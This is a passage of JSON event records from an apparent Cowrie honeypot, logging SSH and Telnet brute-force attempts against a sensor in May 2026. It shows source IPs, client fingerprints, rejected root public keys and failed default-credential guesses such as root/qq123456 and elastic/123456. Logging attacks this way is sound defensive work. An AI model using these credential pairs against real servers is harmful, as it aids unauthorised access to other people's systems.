14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.187834Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:7c:ec:f3:da:08:10:e1:70:64:27:31:e3:82:01:98","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOVSIIoAaOr7GRZsPD1YKE5niV9L1B4CvgSrFuO7QUQxLpFYGAU62fZ7pL0coTQhnffzBnbH0QMyh9/g7ChIGSQGdS5LuFK0Z2mb6Pq04wrRaDVpo7XUflEnPwQ059Gjl+6HqM8+2T6o+/E45u+D4XUpMrs5ljdYs213V5PFHXWpAAAAFQDpqU+Ai2CLrp+vfXW9Ne7yA6PsDwAAAIEAyt/D3pnzmpfojKTBeyEpzp6XviKwHkN+pRoMrJm0pFKch86P4ZZERk0P7UdRLTUsT38Gb1hTip09ka/55Hqv7p1O9x4+mTY+9/j5Jg+tVmHs4M/6DyPAhSoqQUUvG4+ICC3Wjp4ga5pU3KOLSavrJ1Jy+Z0XZMmqz2qtvxZyMbUAAACBAMtX1+D4yKnuUvkNJDqLVNJQmpcK+mVP/5hxWn9yadJ/srnHbIQ5DNW/9zlLqYrH2X6xLuJTFU5z2nsa6v3zsGLKBocnpjLZ4RESCz4xg1jFclRgqVizOIFvY6AxlDzdwC0vpmGAqKaTLt37vDGtVff9AZxilwp22/6MNs/ZwZXp","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 00:7c:ec:f3:da:08:10:e1:70:64:27:31:e3:82:01:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.620404Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:7c:ec:f3:da:08:10:e1:70:64:27:31:e3:82:01:98","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOVSIIoAaOr7GRZsPD1YKE5niV9L1B4CvgSrFuO7QUQxLpFYGAU62fZ7pL0coTQhnffzBnbH0QMyh9/g7ChIGSQGdS5LuFK0Z2mb6Pq04wrRaDVpo7XUflEnPwQ059Gjl+6HqM8+2T6o+/E45u+D4XUpMrs5ljdYs213V5PFHXWpAAAAFQDpqU+Ai2CLrp+vfXW9Ne7yA6PsDwAAAIEAyt/D3pnzmpfojKTBeyEpzp6XviKwHkN+pRoMrJm0pFKch86P4ZZERk0P7UdRLTUsT38Gb1hTip09ka/55Hqv7p1O9x4+mTY+9/j5Jg+tVmHs4M/6DyPAhSoqQUUvG4+ICC3Wjp4ga5pU3KOLSavrJ1Jy+Z0XZMmqz2qtvxZyMbUAAACBAMtX1+D4yKnuUvkNJDqLVNJQmpcK+mVP/5hxWn9yadJ/srnHbIQ5DNW/9zlLqYrH2X6xLuJTFU5z2nsa6v3zsGLKBocnpjLZ4RESCz4xg1jFclRgqVizOIFvY6AxlDzdwC0vpmGAqKaTLt37vDGtVff9AZxilwp22/6MNs/ZwZXp","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.626487Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:5f:bd:50:54:42:7c:9e:a0:0e:82:ee:c2:eb:1b:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChoTEkCB1jkrzicXONWOm+hi9Gesjaxt8jRslU8vssumMdqekh41KZxNiZmWjqGaNEBALtldX4wpefSa4fe4yfAcBvwGZgiQh5Te8maihjpVngUbPJHYdONFZPdd6rKxMxLxvmRuludrxsLnFEv4BMVF0SBgcPEJHe11ew2u/QHOYsr9GUlS4Gj0qgtofRJNIOLNWTYH3bLIChZwSB61gR+C/wnXDghimRy+oTgJa+RDuw7fUYa3i2KppP+nDyb6axvAqnAw8FeJUL1qskQQ1A2J335tzn3dZoHFp4NqmBwLCSUoyUZ/b+FKgFVvmc6VZh2L9tElj0tkIYo4RMjaiL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:5f:bd:50:54:42:7c:9e:a0:0e:82:ee:c2:eb:1b:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.718983Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:5f:bd:50:54:42:7c:9e:a0:0e:82:ee:c2:eb:1b:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChoTEkCB1jkrzicXONWOm+hi9Gesjaxt8jRslU8vssumMdqekh41KZxNiZmWjqGaNEBALtldX4wpefSa4fe4yfAcBvwGZgiQh5Te8maihjpVngUbPJHYdONFZPdd6rKxMxLxvmRuludrxsLnFEv4BMVF0SBgcPEJHe11ew2u/QHOYsr9GUlS4Gj0qgtofRJNIOLNWTYH3bLIChZwSB61gR+C/wnXDghimRy+oTgJa+RDuw7fUYa3i2KppP+nDyb6axvAqnAw8FeJUL1qskQQ1A2J335tzn3dZoHFp4NqmBwLCSUoyUZ/b+FKgFVvmc6VZh2L9tElj0tkIYo4RMjaiL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.723233Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:e5:9f:3d:52:84:74:e2:6c:35:cd:c0:dd:0f:c8:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1y6zMxorYcTdV0sH55lomihN8aruLKvpQeg28ki420TnUg9piWmyWodEfPHq9q+rxPlaLNfNoOzg+XH35mmIfY0yq4o7zE2sceNLwzRNZZn4VeNbhaMbgov3ujNotV/7UDLcXmRUjfNGvJe8Aq2VqwbziMBd9fynEzliTXHoSYMPM820pF8Xha/rkkW+hOh3ilWtD2mA46QeYdn4w1rGM3ilOpaejXQ6YRundFFd0STtcWD6BWYugjaRXNjsdEYN6bKcAHD5t0uW9J3Vj5mKT3YKGG2nqACZwBF9bbxdA84qnTbTITKQhj6US1kfYv8CzwTssDI0DEtqmcYGIsJzflt0Uoi3aPl0iyKiYZa7Clc3wAnHavovN02UFsp7oqaGZ0oqKOdvyBlwLytcFcwyAIOAJDEilvFs8EwZ/06AHJtZHLuhM6Zk+u6WxoiLXnU6LC14FYiVRaSguSAaDBZPmwOFFuOv9aJrQPsYiiTUN2R0FBDGzhh9EHY5M8ur3kMPAjhiVB5WrcpCi+uOt9UxL0ZmKYXXHsX7fUHgqO8/2hTR4vWMTmHa2vvFHp6N+QG3WqNnFVW4yGsX/8etH0Yepml0kKw1unt5hEdZCD1ko+xrC+xQbh2+5BMCGK4P3jXLTX+9VL4kCVhkdeU3lW8f7mN+flshC29iyOxjxrjNuIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:e5:9f:3d:52:84:74:e2:6c:35:cd:c0:dd:0f:c8:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.821356Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:e5:9f:3d:52:84:74:e2:6c:35:cd:c0:dd:0f:c8:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1y6zMxorYcTdV0sH55lomihN8aruLKvpQeg28ki420TnUg9piWmyWodEfPHq9q+rxPlaLNfNoOzg+XH35mmIfY0yq4o7zE2sceNLwzRNZZn4VeNbhaMbgov3ujNotV/7UDLcXmRUjfNGvJe8Aq2VqwbziMBd9fynEzliTXHoSYMPM820pF8Xha/rkkW+hOh3ilWtD2mA46QeYdn4w1rGM3ilOpaejXQ6YRundFFd0STtcWD6BWYugjaRXNjsdEYN6bKcAHD5t0uW9J3Vj5mKT3YKGG2nqACZwBF9bbxdA84qnTbTITKQhj6US1kfYv8CzwTssDI0DEtqmcYGIsJzflt0Uoi3aPl0iyKiYZa7Clc3wAnHavovN02UFsp7oqaGZ0oqKOdvyBlwLytcFcwyAIOAJDEilvFs8EwZ/06AHJtZHLuhM6Zk+u6WxoiLXnU6LC14FYiVRaSguSAaDBZPmwOFFuOv9aJrQPsYiiTUN2R0FBDGzhh9EHY5M8ur3kMPAjhiVB5WrcpCi+uOt9UxL0ZmKYXXHsX7fUHgqO8/2hTR4vWMTmHa2vvFHp6N+QG3WqNnFVW4yGsX/8etH0Yepml0kKw1unt5hEdZCD1ko+xrC+xQbh2+5BMCGK4P3jXLTX+9VL4kCVhkdeU3lW8f7mN+flshC29iyOxjxrjNuIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.826446Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:80:16:b2:7a:e8:30:aa:89:e1:af:71:57:19:c7:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo6zVbzA/mwO8qWtpA3afs0M3UbTLbZsmYBWeLv5BKcCH9wgDl17O7vEN5/+7vkfVC81lg4OjV/i//yx/uEnlsirlYBxjFpU5HcLVMeHL4Sj4heZXJFpXMbCRYzr0otDPfjBFYZdXeyQ5xA9WepRzs6XBmyQfPsLo0AE4L4dvKBsK+JC0BAEWSofpGxkmYFqQrro4BPV8i7iu7L1c0D2DLXNqR7Z5FTRLRK0pCE9QmBfHRz0ujklgyfHZ7+fBetO3SjCEulpmMjSYURgr/phJ4GHWo6xhr5sLx1nvE72Ty9OrY5Rs04HHkHNDNCu1lK24oA58SDaZ/bPYOfpoEv8YJVs5Ytbt25O0fJa4LEuuNZZcjzOEuZpjDH3FhaNUCfAN9vfQkPECERY0BwcPJlY/IYB16RgWVcrGP+dru/laGHHGvh9JJUHL3zacCdlCCaWIJbytiUQdeSy6GT7vRsx0e5lH37AYdH2zHTjdifeVHXWGLr39Hxq6I44brGx6WwG3c5t4xRy3ZnNniC8VHIpOhQJ9nu01jAML138pW/kVrD2r1qydpmAOvR9y2fZfrd+/0Yqmd25o1BIcJJxwl3OTkYehl01NWjo0IyPjvfwq0thslZBCFfnOs9pnyL8xq4mfjK6OwbX1w0cMYDGRLOPzpW9VI2qLniJAZYkCJlKy08w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:80:16:b2:7a:e8:30:aa:89:e1:af:71:57:19:c7:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.918500Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:80:16:b2:7a:e8:30:aa:89:e1:af:71:57:19:c7:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo6zVbzA/mwO8qWtpA3afs0M3UbTLbZsmYBWeLv5BKcCH9wgDl17O7vEN5/+7vkfVC81lg4OjV/i//yx/uEnlsirlYBxjFpU5HcLVMeHL4Sj4heZXJFpXMbCRYzr0otDPfjBFYZdXeyQ5xA9WepRzs6XBmyQfPsLo0AE4L4dvKBsK+JC0BAEWSofpGxkmYFqQrro4BPV8i7iu7L1c0D2DLXNqR7Z5FTRLRK0pCE9QmBfHRz0ujklgyfHZ7+fBetO3SjCEulpmMjSYURgr/phJ4GHWo6xhr5sLx1nvE72Ty9OrY5Rs04HHkHNDNCu1lK24oA58SDaZ/bPYOfpoEv8YJVs5Ytbt25O0fJa4LEuuNZZcjzOEuZpjDH3FhaNUCfAN9vfQkPECERY0BwcPJlY/IYB16RgWVcrGP+dru/laGHHGvh9JJUHL3zacCdlCCaWIJbytiUQdeSy6GT7vRsx0e5lH37AYdH2zHTjdifeVHXWGLr39Hxq6I44brGx6WwG3c5t4xRy3ZnNniC8VHIpOhQJ9nu01jAML138pW/kVrD2r1qydpmAOvR9y2fZfrd+/0Yqmd25o1BIcJJxwl3OTkYehl01NWjo0IyPjvfwq0thslZBCFfnOs9pnyL8xq4mfjK6OwbX1w0cMYDGRLOPzpW9VI2qLniJAZYkCJlKy08w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:56.923408Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:96:61:5f:7d:65:92:71:57:9d:a4:8d:4c:1e:16:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2/Uj87jCaVrbDKKh/Vn6nwnngXUkps6xf7FmfdGYKnYc9yWXAzC+mnwnWA4mwLp1ivdQ7SyBFF7CaRGjRUJpJwXu7TcXnuEnWz4t7oXDtcQF5egpMt3E6qRYkMpP8YwGrpPtFggf2bf2qNR0tERsCzsRFLKDyuWO2MDui5NEA+90tWxUfTp3mYyVsSNaxy1HteD35lmAGK9TuvQm/0FY7A/n/Va6+dCFO7UZykaLceKgF0GfQGg3q6OoA7X8EvulzFg3/iDrY3E2UUR3hqGtX49qD2zNSD96sxL9s9P9IEdFRf3376goSDo77iM38X7kY/3ML070kf4sx7UP1UECX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:96:61:5f:7d:65:92:71:57:9d:a4:8d:4c:1e:16:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:57.019517Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:96:61:5f:7d:65:92:71:57:9d:a4:8d:4c:1e:16:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2/Uj87jCaVrbDKKh/Vn6nwnngXUkps6xf7FmfdGYKnYc9yWXAzC+mnwnWA4mwLp1ivdQ7SyBFF7CaRGjRUJpJwXu7TcXnuEnWz4t7oXDtcQF5egpMt3E6qRYkMpP8YwGrpPtFggf2bf2qNR0tERsCzsRFLKDyuWO2MDui5NEA+90tWxUfTp3mYyVsSNaxy1HteD35lmAGK9TuvQm/0FY7A/n/Va6+dCFO7UZykaLceKgF0GfQGg3q6OoA7X8EvulzFg3/iDrY3E2UUR3hqGtX49qD2zNSD96sxL9s9P9IEdFRf3376goSDo77iM38X7kY/3ML070kf4sx7UP1UECX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:57.026822Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:00:57.124719Z","src_ip":"141.95.34.214","session":"9164a384e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:00.864556Z","src_ip":"8.218.166.49","session":"93fe89865faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:00.870127Z","src_ip":"8.218.166.49","session":"93fe89865faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:05.270359Z","src_ip":"47.86.95.62","session":"dd12254cae38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:06.802360Z","src_ip":"8.218.166.49","session":"93fe89865faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:06.936826Z","src_ip":"47.86.95.62","session":"dd12254cae38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53912,"dst_ip":"10.17.0.5","dst_port":23,"session":"17cef51d6bf1","protocol":"telnet","message":"New connection: 50.6.8.71:53912 (10.17.0.5:23) [session: 17cef51d6bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:12.640235Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55562,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd08f9dae7bb","protocol":"ssh","message":"New connection: 8.218.166.49:55562 (10.17.0.5:22) [session: dd08f9dae7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:14.055117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:14.062330Z","src_ip":"8.218.166.49","session":"dd08f9dae7bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34840,"dst_ip":"10.17.0.5","dst_port":22,"session":"2207aa90e688","protocol":"ssh","message":"New connection: 47.86.95.62:34840 (10.17.0.5:22) [session: 2207aa90e688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:17.580534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:17.586639Z","src_ip":"47.86.95.62","session":"2207aa90e688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:17.795480Z","src_ip":"47.86.95.62","session":"2207aa90e688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:18.533698Z","src_ip":"47.86.95.62","session":"2207aa90e688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:19.862747Z","src_ip":"47.86.95.62","session":"2207aa90e688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55570,"dst_ip":"10.17.0.5","dst_port":22,"session":"62926ab2358c","protocol":"ssh","message":"New connection: 8.218.166.49:55570 (10.17.0.5:22) [session: 62926ab2358c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:22.153883Z"}
{"eventid":"cowrie.session.closed","duration":120.00205707550049,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:23.078737Z","src_ip":"92.211.84.221","session":"faea42ccb2b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53402,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb9b6f440e62","protocol":"ssh","message":"New connection: 47.86.95.62:53402 (10.17.0.5:22) [session: fb9b6f440e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:23.116894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:23.122508Z","src_ip":"47.86.95.62","session":"fb9b6f440e62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00132870674133,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:23.206660Z","src_ip":"92.211.84.221","session":"040883965cb9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:23.487970Z","src_ip":"47.86.95.62","session":"fb9b6f440e62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:24.633623Z","src_ip":"47.86.95.62","session":"fb9b6f440e62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:26.323117Z","src_ip":"47.86.95.62","session":"fb9b6f440e62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43516,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc61aacf588","protocol":"ssh","message":"New connection: 8.218.166.49:43516 (10.17.0.5:22) [session: afc61aacf588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:29.098428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:01:38.599774Z","src_ip":"8.218.166.49","session":"afc61aacf588","protocol":"ssh"}
